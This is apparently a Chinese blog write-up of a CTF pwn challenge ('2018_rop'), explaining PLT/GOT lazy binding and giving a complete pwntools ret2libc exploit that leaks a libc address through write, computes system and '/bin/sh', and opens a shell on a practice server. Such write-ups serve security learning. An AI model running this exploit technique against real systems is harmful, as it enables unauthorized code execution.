pwn | 铁人三项(第五赛区)_2018_rop

pwn | 铁人三项(第五赛区)_2018_rop

ret2libc
好久没整pwn题了,ret2libc整了好久才打通==
image

vulnerable function 里面存在栈溢出,只开了nx保护。
libc的版本是2.27

再整理一遍延迟绑定的思路,首先,调用动态链接库中的函数采用的全部都是间接call的方式
先call yyyyy再jmp dword ptr xxxxx
image

这个yyyyy是plt表中的一个地址, 通过plt表跳转到got表中真正函数的地址(也就是xxxxx地址上的值(初始值为plt表中延迟绑定用的函数的地址))的位置去执行。
如果是第一次执行,则jmp过去看到的是xxxxx地址上一个plt表中的地址值,然后会返回到plt表中去执行函数的绑定,然后修改got表中的真正函数地址,此时xxxxx地址上就是真正函数的地址值了。
再返回到yyyyy中的位置,一个间接jmp到真正的函数地址去执行。

哦还有patchelf的使用,姑且是看了文章,但是没怎么搞明白,下次再说:https://www.cnblogs.com/xshhc/p/16777707.html

exp【由于计算libc基址的部分算错了卡了一会儿,下次直接把基址减出来再算好了,不偷懒了】:

from pwn import *
import struct

context.log_level = 'debug'
context.arch = 'i386'
context.os = 'linux'

elf = ELF('./2018_rop')
_libc = ELF('./libc-2.27.so')  # remote
# _libc = ELF('/usr/lib/i386-linux-gnu/libc-2.31.so') # local
_p_libc_read = _libc.symbols['read']     # get the relative addr of read() and system()
_p_libc_system = _libc.symbols['system']
_p_libc_binsh = _libc.search(b'/bin/sh').__next__()

_p_plt_write = elf.plt['write']   # 0a in it,cannot usie
_p_got_read = elf.got['read']

# p = process('./2018_rop')
p = remote('node4.buuoj.cn',27374)

# leak addr

rubbish = 0x88*b'A' + 4*b'B'
_p_main = 0x080484C6
_p_call_write = 0x080484F0
#                    retaddr        retaddr_of_write     arg1        arg2            arg3
payload = rubbish + p32(_p_plt_write) + p32(_p_main) + p32(1)  + p32(_p_got_read) + p32(4)

p.sendline(payload)
p_libc_read = struct.unpack("<I", p.recv(4))[0]   # get the addr of function read in libc

p_libc_base = p_libc_read - _p_libc_read     # get the base addr 
p_libc_system = p_libc_base +  _p_libc_system
p_libc_binsh = p_libc_base +_p_libc_binsh

print(hex(p_libc_system))
print(hex(p_libc_binsh))
p_ret = 0x08048199   # duiqi
# 
payload = rubbish + p32(p_ret) + p32(p_libc_system) + p32(_p_main) + p32(p_libc_binsh)

p.sendline(payload)

p.interactive()

posted @ 2022-11-26 13:17  Mz1  阅读(165)  评论(0编辑  收藏  举报